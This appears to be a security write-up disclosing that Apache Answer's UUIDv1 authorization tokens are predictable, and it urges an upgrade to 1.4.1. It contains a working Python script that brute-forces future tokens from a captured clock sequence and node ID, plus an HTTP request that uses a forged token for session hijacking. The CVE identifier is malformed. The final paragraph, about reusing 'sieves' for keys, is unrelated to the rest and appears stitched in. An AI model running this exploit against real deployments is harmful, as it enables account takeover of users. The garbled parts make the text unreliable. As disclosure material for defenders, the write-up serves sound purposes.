Show full content
CVE-20240-45719 highlights a critical vulnerability in Apache Answer, where UUID Version 1 (UUIDv1) is used as an authorization token. Due to the predictable nature of UUIDv1, attackers can predict and brute force valid tokens, enabling session hijacking and unauthorized access to user accounts.
This vulnerability has been validated through real-world testing, demonstrating that an attacker with minimal privileges can exploit this flaw to hijack future user sessions at scale. Immediate remediation is essential to protect user accounts and system integrity.
Affected systemsAll instances of Apache Answer where UUIDv1 is used as an authorization token are affected. This includes systems that rely on UUIDv1 for identifying and validating user sessions.
Technical DetailsIn the Apache Answer codebase, UUIDv1 is used for generating authorization tokens. Below is an example of the relevant code, which demonstrates the usage of UUIDv1:
import (
"github.com/google/uuid"
)
// GenerateAuthorizationToken generates a UUIDv1 token for user authorization
func GenerateAuthorizationToken() string {
return uuid.NewUUID().String() // UUIDv1 generation
}Here, the uuid.NewUUID() function generates a UUID Version 1 token. While this ensures uniqueness, it lacks the cryptographic randomness required for security-critical use cases, such as session management or authorization.
- Reference: https://github.com/google/uuid/blob/master/version1.go
// NewUUID returns a Version 1 UUID based on the current NodeID and clock
// sequence, and the current time. If the NodeID has not been set by SetNodeID
// or SetNodeInterface then it will be set automatically. If the NodeID cannot
// be set NewUUID returns nil. If clock sequence has not been set by
// SetClockSequence then it will be set automatically. If GetTime fails to
// return the current NewUUID returns nil and an error.
//
// In most cases, New should be used.
func NewUUID() (UUID, error) {
var uuid UUID
now, seq, err := GetTime()
if err != nil {
return uuid, err
}
timeLow := uint32(now & 0xffffffff)
timeMid := uint16((now >> 32) & 0xffff)
timeHi := uint16((now >> 48) & 0x0fff)
timeHi |= 0x1000 // Version 1
binary.BigEndian.PutUint32(uuid[0:], timeLow)
binary.BigEndian.PutUint16(uuid[4:], timeMid)
binary.BigEndian.PutUint16(uuid[6:], timeHi)
binary.BigEndian.PutUint16(uuid[8:], seq)
nodeMu.Lock()
if nodeID == zeroID {
setNodeInterface("")
}
copy(uuid[10:], nodeID[:])
nodeMu.Unlock()
return uuid, nil
}UUID Version 1 is structured as follows:
- Timestamp (60 bits): Represents the number of 100-nanosecond intervals since October 15, 1582, derived directly from the system clock.
- Clock Sequence (14 bits): Used to avoid duplicates within the same timestamp. However, it is relatively static unless the system clock changes or the server restarts.
- Node Identifier (48 bits): Typically derived from the server’s MAC address, making it constant for the machine.
Given the UUID 70935f8d-6b50-11ef-9728-0242ac110002, the components can be broken down as follows:
70935f8d: Timestamp (lower 32 bits).6b50: Timestamp (middle 16 bits).11ef: Timestamp (upper 12 bits), combined with the version (1).9728: Clock sequence, which remains static across multiple tokens generated at the same time.0242ac110002: Node identifier (MAC address or equivalent).
This predictable structure makes it possible for attackers to predict future tokens after capturing one valid UUID.
Attack Scenario Step 1: Obtain a Valid UUID TokenAn attacker begins by obtaining a valid UUIDv1 authorization token. This can be achieved by:
- Signing up for a low-privileged account.
- Intercepting network traffic or logs containing tokens.
- Example captured token:
70935f8d-6b50-11ef-9728-0242ac110002
- The attacker extracts:
Clock Sequence: 9728
Node Identifier: 0242ac110002
- These components remain constant for the server, enabling the attacker to focus on brute-forcing the timestamp.
The attacker writes a script to iterate over possible timestamps while keeping the clock sequence and node identifier constant. The following Python script demonstrates this approach:
import uuid
from datetime import datetime, timedelta
# Known components from the captured UUID
node = 0x0242ac110002
clock_seq = 0x9728
# Start timestamp (replace with observed login time)
start_time = datetime(2024, 9, 5, 6, 31, 0)
# Brute force UUID generation
def generate_uuid():
for i in range(100000):
timestamp = int((start_time + timedelta(seconds=i)).timestamp() * 1e7)
uuid_fields = (
(timestamp & 0xFFFFFFFF), # time_low
(timestamp >> 32) & 0xFFFF, # time_mid
((timestamp >> 48) & 0x0FFF) | (1 << 12), # time_hi_and_version
((clock_seq >> 8) & 0x3F) | 0x80, # clock_seq_hi_and_reserved
clock_seq & 0xFF, # clock_seq_low
node, # node
)
yield str(uuid.UUID(fields=uuid_fields))
# Generate and print tokens
for token in generate_uuid():
print(token)For testing purposes, I used a 1-minute timestamp range. On a 32-core, 64GB RAM virtual machine, the script generated a valid token in 2-3 minutes. In real-world scenarios, the script can run continuously, capturing all future valid tokens generated by the system.
Even if the server updates the clock sequence or node identifier, the attacker can simply capture a new token from their account and continue the attack.
The attacker uses the generated tokens to send requests to the web application. For example:
GET /answer/api/v1/notification/page?type=achievement&page=1&page_size=10 HTTP/1.1
Host: localhost:9080
Authorization: <Generated-UUID>
A 200 OK response confirms session hijacking.
The Apache Answer maintainers have addressed this vulnerability by upgrading the token generation mechanism in version 1.4.1. Users are strongly advised to update their installations to Apache Answer 1.4.1 to mitigate the risk of account takeover.
We then tried to optimize the entire process by re-using generated sieves for other keys but unsuccessful. I also reached out to one of the authors and was told to store these sieves in a database. However, due to several reasons, we did not try further.
